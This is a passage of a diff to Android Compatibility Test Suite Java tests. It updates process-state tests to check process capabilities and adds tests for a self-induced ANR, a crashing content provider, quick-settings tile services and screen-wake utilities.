+ new Integer(PROCESS_CAPABILITY_NONE));
try {
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
@@ -1783,8 +1770,9 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_CACHED_EMPTY,
+ new Integer(PROCESS_CAPABILITY_NONE));
} finally {
uid1Watcher.finish();
}
@@ -1792,8 +1780,11 @@
/**
* Test process states for foreground service binding to another app, with and without
- * BIND_INCLUDE_CAPABILITIES. Bound app should either go to FGS or FGSL, depending on the
- * flag.
+ * BIND_INCLUDE_CAPABILITIES.
+ * With BIND_INCLUDE_CAPABILITIES flag, PROCESS_CAPABILITY_FOREGROUND_LOCATION can be passed
+ * from client to service.
+ * Without BIND_INCLUDE_CAPABILITIES flag, PROCESS_CAPABILITY_FOREGROUND_LOCATION can not be
+ * passed from client to service.
* @throws Exception
*/
public void testFgsLocationBind() throws Exception {
@@ -1804,7 +1795,9 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
- mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_NONE));
// Try to elevate to foreground service location
Bundle bundle = new Bundle();
@@ -1813,41 +1806,52 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
mAppInfo[0].packageName, mAppInfo[0].packageName, 0, bundle);
- // Verify moved to FGSL
+ // Verify app0 has FOREGROUND_LOCATION capability.
mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
- WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
- // Bind App 0 -> App 1, verify doesn't include capabilities (only FGS, not FGSL)
+ // Bind App 0 -> App 1, verify doesn't include capability.
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
- mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ // Verify app1 does NOT have FOREGROUND_LOCATION capability.
+ mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_NONE));
- // Bind App 0 -> App 2, include capabilities (FGSL)
+ // Bind App 0 -> App 2, include capability.
bundle = new Bundle();
bundle.putInt(CommandReceiver.EXTRA_FLAGS, Context.BIND_INCLUDE_CAPABILITIES);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
+ // Verify app2 has FOREGROUND_LOCATION capability.
mWatchers[2].waitFor(WatchUidRunner.CMD_PROCSTATE,
- WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
// Back down to foreground service
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
- mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ // Verify app0 does NOT have FOREGROUND_LOCATION capability.
+ mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_NONE));
// Remove foreground service as well
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
- mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+ mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_CACHED_EMPTY,
+ new Integer(PROCESS_CAPABILITY_NONE));
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
+ mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
- } finally {
+ mAppInfo[0].packageName, mAppInfo[2].packageName, 0, null);
+
shutdownWatchers();
}
}
@@ -1866,25 +1870,26 @@
// This will start an activity in App0
activity = startSubActivity(ScreenOnActivity.class);
- // Bind Stub -> App 0, verify doesn't include capabilities (only BTOP, not TOP)
+ // Bind Stub -> App 0, verify doesn't include capability (only BTOP, not TOP)
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
- mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
+ mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP,
+ new Integer(0));
- // Bind Stub -> App 1, include capabilities (TOP)
+ // Bind Stub -> App 1, include capability (TOP)
Bundle bundle = new Bundle();
bundle.putInt(CommandReceiver.EXTRA_FLAGS, Context.BIND_INCLUDE_CAPABILITIES);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
- mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
- WatchUidRunner.STATE_TOP);
-
+ mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP,
+ new Integer(PROCESS_CAPABILITY_ALL));
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
+ STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
- } finally {
+ STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, null);
+
shutdownWatchers();
if (activity != null) {
activity.finish();
@@ -1910,6 +1915,13 @@
ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
PACKAGE_NAME_APP3, 0);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP1, android.Manifest.permission.PACKAGE_USAGE_STATS);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP2, android.Manifest.permission.PACKAGE_USAGE_STATS);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP3, android.Manifest.permission.PACKAGE_USAGE_STATS);
+
UidImportanceListener uid1Listener = new UidImportanceListener(mContext,
app1Info.uid, IMPORTANCE_VISIBLE,
WAITFOR_MSEC);
@@ -1935,6 +1947,11 @@
WAITFOR_MSEC);
uid3Listener.register();
+ UidImportanceListener uid3ServiceListener = new UidImportanceListener(mContext,
+ app3Info.uid, IMPORTANCE_CACHED,
+ WAITFOR_MSEC);
+ uid3ServiceListener.register();
+
Activity activity = null;
try {
@@ -2002,26 +2019,149 @@
uid2ServiceListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
- uid3Listener.waitForValue(
+
+ uid3ServiceListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
-
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
- } finally {
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
uid1Listener.unregister();
uid1ServiceListener.unregister();
uid2Listener.unregister();
uid2ServiceListener.unregister();
uid3Listener.unregister();
+ uid3ServiceListener.unregister();
if (activity != null) {
activity.finish();
}
}
}
+
+ public void testCycleFgAppAndAlert() throws Exception {
+ ApplicationInfo stubInfo = mContext.getPackageManager().getApplicationInfo(
+ STUB_PACKAGE_NAME, 0);
+ ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP1, 0);
+ ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP2, 0);
+ ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP3, 0);
+
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP1, android.Manifest.permission.PACKAGE_USAGE_STATS);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP2, android.Manifest.permission.PACKAGE_USAGE_STATS);
+ PermissionUtils.grantPermission(
+ PACKAGE_NAME_APP3, android.Manifest.permission.PACKAGE_USAGE_STATS);
+
+ UidImportanceListener stubListener = new UidImportanceListener(mContext,
+ stubInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE,
+ WAITFOR_MSEC);
+ stubListener.register();
+
+ UidImportanceListener uid1Listener = new UidImportanceListener(mContext,
+ app1Info.uid, IMPORTANCE_VISIBLE,
+ WAITFOR_MSEC);
+ uid1Listener.register();
+
+ UidImportanceListener uid2Listener = new UidImportanceListener(mContext,
+ app2Info.uid, IMPORTANCE_VISIBLE,
+ WAITFOR_MSEC);
+ uid2Listener.register();
+
+ UidImportanceListener uid3Listener = new UidImportanceListener(mContext,
+ app3Info.uid, IMPORTANCE_VISIBLE,
+ WAITFOR_MSEC);
+ uid3Listener.register();
+
+ WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+ WAITFOR_MSEC);
+ WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+ WAITFOR_MSEC);
+ WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+ WAITFOR_MSEC);
+
+ try {
+ // Stub app should have been in foreground since it's being instrumented.
+
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+ // Show an alert on app0
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_START_ALERT_SERVICE, STUB_PACKAGE_NAME,
+ STUB_PACKAGE_NAME, 0, null);
+
+ // Start a FGS in app2
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_START_FOREGROUND_SERVICE, PACKAGE_NAME_APP2,
+ PACKAGE_NAME_APP2, 0, null);
+
+ uid2Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+ IMPORTANCE_FOREGROUND_SERVICE);
+
+ // Bind from app0 to a service in app1
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+ STUB_PACKAGE_NAME, PACKAGE_NAME_APP1, 0, null);
+
+ // Bind from app2 to a service in app1
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP1, 0, null);
+
+ // Bind from app3 to a service in app1
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
+ // Create a cycle
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+
+ uid1Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+ IMPORTANCE_FOREGROUND_SERVICE);
+ uid3Listener.waitForValue(IMPORTANCE_FOREGROUND_SERVICE,
+ IMPORTANCE_FOREGROUND_SERVICE);
+
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+ STUB_PACKAGE_NAME, PACKAGE_NAME_APP1, 0, null);
+
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP1, 0, null);
+
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+
+ // Stop the foreground service
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+ // hide the alert
+ CommandReceiver.sendCommand(mContext,
+ CommandReceiver.COMMAND_STOP_ALERT_SERVICE, STUB_PACKAGE_NAME,
+ STUB_PACKAGE_NAME, 0, null);
+
+ // Check that the apps' proc state has fallen
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+ uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+ } finally {
+ stubListener.unregister();
+ uid1Listener.unregister();
+ uid2Listener.unregister();
+ uid3Listener.unregister();
+ uid1Watcher.finish();
+ uid2Watcher.finish();
+ uid3Watcher.finish();
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 8ac3a66..521f14c 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -28,6 +28,7 @@
import android.app.PendingIntent;
import android.app.stubs.ActivityManagerRecentOneActivity;
import android.app.stubs.ActivityManagerRecentTwoActivity;
+import android.app.stubs.CommandReceiver;
import android.app.stubs.MockApplicationActivity;
import android.app.stubs.MockService;
import android.app.stubs.ScreenOnActivity;
@@ -42,6 +43,7 @@
import android.test.InstrumentationTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.AnrMonitor;
import com.android.compatibility.common.util.SystemUtil;
import java.io.IOException;
@@ -73,6 +75,9 @@
"com.android.cts.launchertests.LauncherAppsTests.CHAIN_EXIT_ACTION";
// The action sent to identify the time track info.
private static final String ACTIVITY_TIME_TRACK_INFO = "com.android.cts.TIME_TRACK_INFO";
+
+ private static final String PACKAGE_NAME_APP1 = "com.android.app1";
+
// Return states of the ActivityReceiverFilter.
public static final int RESULT_PASS = 1;
public static final int RESULT_FAIL = 2;
@@ -685,4 +690,31 @@
// Patched devices should throw this exception since isAppForeground is removed.
}
}
+
+ /**
+ * This test verifies the self-induced ANR by ActivityManager.appNotResponding().
+ */
+ public void testAppNotResponding() throws Exception {
+ // Setup the ANR monitor
+ AnrMonitor monitor = new AnrMonitor(mInstrumentation);
+
+ // Now tell it goto ANR
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_SELF_INDUCED_ANR,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+ try {
+
+ // Verify we got the ANR
+ assertTrue(monitor.waitFor(WAITFOR_MSEC));
+
+ // Just kill the test app
+ monitor.sendCommand(AnrMonitor.CMD_KILL);
+ } finally {
+ // clean up
+ monitor.finish();
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+ });
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/BadProviderTest.java b/tests/app/src/android/app/cts/BadProviderTest.java
new file mode 100644
index 0000000..3c16fd3
--- /dev/null
+++ b/tests/app/src/android/app/cts/BadProviderTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.ActivityManager;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
+import android.content.ContentResolver;
+import android.content.pm.ApplicationInfo;
+import android.net.Uri;
+import android.os.HandlerThread;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Test system behavior of a bad provider.
+ */
+public class BadProviderTest extends AndroidTestCase {
+ private static final String AUTHORITY = "com.android.cts.stubbad.badprovider";
+ private static final String TEST_PACKAGE_NAME = "com.android.cts.stubbad";
+ private static final int WAIT_TIME = 2000;
+
+ public void testExitOnCreate() {
+ WatchUidRunner uidWatcher = null;
+ ContentResolver res = mContext.getContentResolver();
+ HandlerThread worker = new HandlerThread("work");
+ worker.start();
+ Handler handler = new Handler(worker.getLooper());
+ try {
+ ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+ TEST_PACKAGE_NAME, 0);
+ uidWatcher = new WatchUidRunner(InstrumentationRegistry.getInstrumentation(),
+ appInfo.uid, WAIT_TIME);
+ long startTs = SystemClock.uptimeMillis();
+ handler.post(()->
+ res.query(Uri.parse("content://" + AUTHORITY), null, null, null, null)
+ );
+ // Ensure the system will try at least 3 times for a bad content provider.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+ // Finish the watcher
+ uidWatcher.finish();
+ // Sleep for 10 seconds and initialize the watcher again
+ // (content provider publish timeout is 10 seconds)
+ Thread.sleep(Math.max(0, 10000 - (SystemClock.uptimeMillis() - startTs)));
+ uidWatcher = new WatchUidRunner(InstrumentationRegistry.getInstrumentation(),
+ appInfo.uid, WAIT_TIME);
+ // By now we shouldn't see it's retrying again.
+ try {
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
+ fail("Excessive attempts to bring up a provider");
+ } catch (IllegalStateException e) {
+ }
+ } catch (Exception e) {
+ fail("Unexpected exception while query provider: " + e.getMessage());
+ } finally {
+ if (uidWatcher != null) {
+ uidWatcher.finish();
+ }
+ worker.quitSafely();
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/BaseTileServiceTest.java b/tests/app/src/android/app/cts/BaseTileServiceTest.java
new file mode 100644
index 0000000..940dbf5
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseTileServiceTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.stubs.BooleanTestTileService;
+import android.app.stubs.TestTileService;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.service.quicksettings.TileService;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+public abstract class BaseTileServiceTest extends AndroidTestCase {
+
+ protected abstract String getTag();
+ protected abstract String getComponentName();
+ protected abstract TileService getTileServiceInstance();
+ protected abstract void waitForConnected(boolean state) throws InterruptedException;
+ protected abstract void waitForListening(boolean state) throws InterruptedException;
+
+ final static String DUMP_COMMAND =
+ "dumpsys activity service com.android.systemui/.SystemUIService dependency "
+ + "DumpController qstilehost";
+
+ // Time between checks for state we expect.
+ protected static final long CHECK_DELAY = 250;
+ // Number of times to check before failing. This is set so the maximum wait time is about 4s,
+ // as some tests were observed to take around 3s.
+ protected static final long CHECK_RETRIES = 15;
+ // Timeout to wait for launcher
+ protected static final long TIMEOUT = 8000;
+
+ protected TileService mTileService;
+ private Intent homeIntent;
+ private String mLauncherPackage;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (!TileService.isQuickSettingsSupported()) return;
+ homeIntent = new Intent(Intent.ACTION_MAIN);
+ homeIntent.addCategory(Intent.CATEGORY_HOME);
+
+ mLauncherPackage = mContext.getPackageManager().resolveActivity(homeIntent,
+ PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+ // Wait for home
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ device.pressHome();
+ device.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ expandSettings(false);
+ toggleServiceAccess(getComponentName(), false);
+ waitForConnected(false);
+ assertNull(TestTileService.getInstance());
+ }
+
+ protected void startTileService() throws Exception {
+ toggleServiceAccess(getComponentName(), true);
+ waitForConnected(true); // wait for service to be bound
+ mTileService = BooleanTestTileService.getInstance();
+ assertNotNull(mTileService);
+ }
+
+ protected void toggleServiceAccess(String componentName, boolean on) throws Exception {
+ String command = " cmd statusbar " + (on ? "add-tile " : "remove-tile ")
+ + componentName;
+
+ executeShellCommand(command);
+ }
+
+ public String executeShellCommand(String command) throws IOException {
+ Log.i(getTag(), "Shell command: " + command);
+ try {
+ return SystemUtil.runShellCommand(getInstrumentation(), command);
+ } catch (IOException e) {
+ //bubble it up
+ Log.e(getTag(), "Error running shell command: " + command);
+ throw new IOException(e);
+ }
+ }
+
+ protected void expandSettings(boolean expand) throws Exception {
+ executeShellCommand(" cmd statusbar " + (expand ? "expand-settings" : "collapse"));
+ Thread.sleep(200); // wait for animation
+ }
+
+ protected void initializeAndListen() throws Exception {
+ startTileService();
+ expandSettings(true);
+ waitForListening(true);
+ }
+
+ /**
+ * Find a line containing {@code label} in {@code lines}.
+ */
+ protected String findLine(String[] lines, CharSequence label) {
+ for (String line: lines) {
+ if (line.contains(label)) {
+ return line;
+ }
+ }
+ return null;
+ }
+}
diff --git a/tests/app/src/android/app/cts/BooleanTileServiceTest.java b/tests/app/src/android/app/cts/BooleanTileServiceTest.java
new file mode 100644
index 0000000..5b09186
--- /dev/null
+++ b/tests/app/src/android/app/cts/BooleanTileServiceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+
+import android.app.stubs.BooleanTestTileService;
+import android.service.quicksettings.Tile;
+import android.service.quicksettings.TileService;
+
+public class BooleanTileServiceTest extends BaseTileServiceTest {
+ private final static String TAG = "BooleanTileServiceTest";
+
+ public void testTileIsBoundAndListening() throws Exception {
+ startTileService();
+ expandSettings(true);
+ waitForListening(true);
+ }
+
+ public void testTileInDumpAndHasBooleanState() throws Exception {
+ initializeAndListen();
+
+ final CharSequence tileLabel = mTileService.getQsTile().getLabel();
+
+ final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+ final String line = findLine(dumpLines, tileLabel);
+ assertNotNull(line);
+ assertTrue(line.trim().startsWith("BooleanState"));
+ }
+
+ public void testTileStartsInactive() throws Exception {
+ initializeAndListen();
+
+ assertEquals(Tile.STATE_INACTIVE, mTileService.getQsTile().getState());
+ }
+
+ public void testValueTracksState() throws Exception {
+ initializeAndListen();
+
+ final CharSequence tileLabel = mTileService.getQsTile().getLabel();
+
+ String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+ String line = findLine(dumpLines, tileLabel);
+
+ // Tile starts inactive
+ assertTrue(line.contains("value=false"));
+
+ ((BooleanTestTileService) mTileService).toggleState();
+
+ // Close and open QS to make sure that state is refreshed
+ expandSettings(false);
+ waitForListening(false);
+ expandSettings(true);
+ waitForListening(true);
+
+ assertEquals(Tile.STATE_ACTIVE, mTileService.getQsTile().getState());
+
+ dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+ line = findLine(dumpLines, tileLabel);
+
+ assertTrue(line.contains("value=true"));
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected String getComponentName() {
+ return BooleanTestTileService.getComponentName().flattenToString();
+ }
+
+ @Override
+ protected TileService getTileServiceInstance() {
+ return BooleanTestTileService.getInstance();
+ }
+
+ /**
+ * Waits for the TileService to be in the expected listening state. If it times out, it fails
+ * the test
+ * @param state desired listening state
+ * @throws InterruptedException
+ */
+ @Override
+ protected void waitForListening(boolean state) throws InterruptedException {
+ int ct = 0;
+ while (BooleanTestTileService.isListening() != state && (ct++ < CHECK_RETRIES)) {
+ Thread.sleep(CHECK_DELAY);
+ }
+ assertEquals(state, BooleanTestTileService.isListening());
+ }
+
+ /**
+ * Waits for the TileService to be in the expected connected state. If it times out, it fails
+ * the test
+ * @param state desired connected state
+ * @throws InterruptedException
+ */
+ @Override
+ protected void waitForConnected(boolean state) throws InterruptedException {
+ int ct = 0;
+ while (BooleanTestTileService.isConnected() != state && (ct++ < CHECK_RETRIES)) {
+ Thread.sleep(CHECK_DELAY);
+ }
+ assertEquals(state, BooleanTestTileService.isConnected());
+ }
+}
diff --git a/tests/app/src/android/app/cts/CtsAppTestUtils.java b/tests/app/src/android/app/cts/CtsAppTestUtils.java
new file mode 100644
index 0000000..9f69385
--- /dev/null
+++ b/tests/app/src/android/app/cts/CtsAppTestUtils.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.os.PowerManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+class CtsAppTestUtils {
+ private static final String TAG = CtsAppTestUtils.class.getName();
+
+ public static String executeShellCmd(Instrumentation instrumentation, String cmd)
+ throws Exception {
+ final String result = SystemUtil.runShellCommand(instrumentation, cmd);
+ Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+ return result;
+ }
+
+ public static boolean isScreenInteractive(Context context) {
+ final PowerManager powerManager =
+ (PowerManager) context.getSystemService(Context.POWER_SERVICE);
+ return powerManager.isInteractive();
+ }
+
+ public static boolean isKeyguardLocked(Context context) {
+ final KeyguardManager keyguardManager =
+ (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE);
+ return keyguardManager.isKeyguardLocked();
+ }
+
+ public static void turnScreenOn(Instrumentation instrumentation, Context context)
+ throws Exception {
+ executeShellCmd(instrumentation, "input keyevent KEYCODE_WAKEUP");
+ executeShellCmd(instrumentation, "wm dismiss-keyguard");
+ CommonTestUtils.waitUntil("Device does not wake up after 5 seconds", 5,
+ () -> {
+ return isScreenInteractive(context)
+ && !isKeyguardLocked(context);
+ });
+ }
+}
